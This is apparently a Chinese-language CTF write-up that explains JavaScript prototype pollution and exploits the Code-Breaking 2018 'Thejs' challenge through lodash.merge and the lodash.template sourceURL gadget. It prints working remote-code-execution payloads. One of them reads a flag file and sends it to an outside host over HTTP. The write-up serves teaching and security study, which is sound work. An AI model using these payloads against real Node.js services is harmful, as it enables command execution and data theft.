0%

JavaScript 原型链污染

一、原型链基础知识

关于原型链基础可以查看:继承与原型链

JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象(Object)的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

JavaScript 是动态的,本身不提供一个 class 实现(ES6 引入了 class 关键字,但只是语法糖,JavaScript 任然是基于原型的)

prototype 和 __proto__

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

1
2
3
4
5
function Foo() {
this.bar = 1
}

var foo = new Foo()

Foo 函数的内容,就是 Foo 类的构造函数,而 this.bar 就是Foo类的一个属性。

每个类有一个 prototype 属性,它指向该类的原型对象。

image-20201105120701124

同样的每个实例也有一个 __proto__ 属性指向实例对象的原型对象。

image-20201105120905033

实例对象 __proto__ 与该实例对象所属类的 prototype 是相等的

1
2
3
4
5
6
7
function Foo() {
this.bar = 1
}

var foo = new Foo()

console.log(foo.__proto__ === Foo.prototype) //true

附上 Smi1e 师傅的图便于理解

image-20201105121215145

constructor

每个实例对象都有一个 constructor 属性指向对应的构造函数,即类。所以以下几种写法其实是相等的,都返回 Foo 类的原型对象。

1
2
3
4
Foo.prototype
foo["__proto__"]
foo.__proto__
foo.constructor.prototype

原型链继承

所有类对象在实例化的时候将会拥有 prototype 中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

JavaScript 的查找机制如下:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是 null

image-20201105135324336

不同对象所生成的原型链如下(部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

二、原型链污染原理

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value

image-20201105140128097

原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象

merge 操作导致原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
//1 2
console.log(o1.a, o1.b)

o3 = {}
//2
console.log(o3.b)

注意,这里如果不使用 json parse 的话,__proto__ 会被认为是原型对象,不是 key,就不会覆盖。

Code-Breaking 2018 Thejs

源码下载:http://code-breaking.com/puzzle/9/

下载之后 npm install 即可自动安装依赖

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

lodash.template 渲染模版,lodash.merge 合并函数或对象。整个程序逻辑,获取 post 数据,然后通过 merge 函数合并到 session 当中并显示。

通过 merge 函数可以将属性值注入到最底层的 Object,造成原型链污染,接下来找利用的点。

lodash/template.js 中(实际调试是在 lodash.js14748 行 )

1
2
3
4
5
6
7
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

options.sourceURL 原本是没有赋值的,通过 merge 污染原型链注入 sourceURL 属性,然后在 Function 里拼接后执行。

关于 Function 构造函数可以参照这个链接,这里第一个参数为参数值,第二个参数我是把它理解为执行的函数的代码片段,所以可以通过加入 \r\n 字符注入恶意代码运行。

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function

这里直接给出 p神的可回显payload,需要注意坑点,原始 POST 提交,Content-Type 值为 application/x-www-form-urlencoded,需要修改为 application/json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 10.17.123.212:3000
Content-Length: 187
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.17.123.212:3000
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.17.123.212:3000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"__proto__":{"sourceURL":"\r\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\r\n//"}}

其他无回显 payload

1
2
3
4
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}


{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://l0ca1.com/${result}`);req.end();\r\n"}}

这还有个 tip,因为范围原因,无法在 Function 函数里直接引用 requireprocess 等模块,需要在前面添加 global,可以查看 l0ca1 师傅的 writeup

https://blog.l0ca1.xyz/2018/11/25/Code-Breaking-JS/

1
var require = global.require || global.process.mainModule.constructor._load

参考链接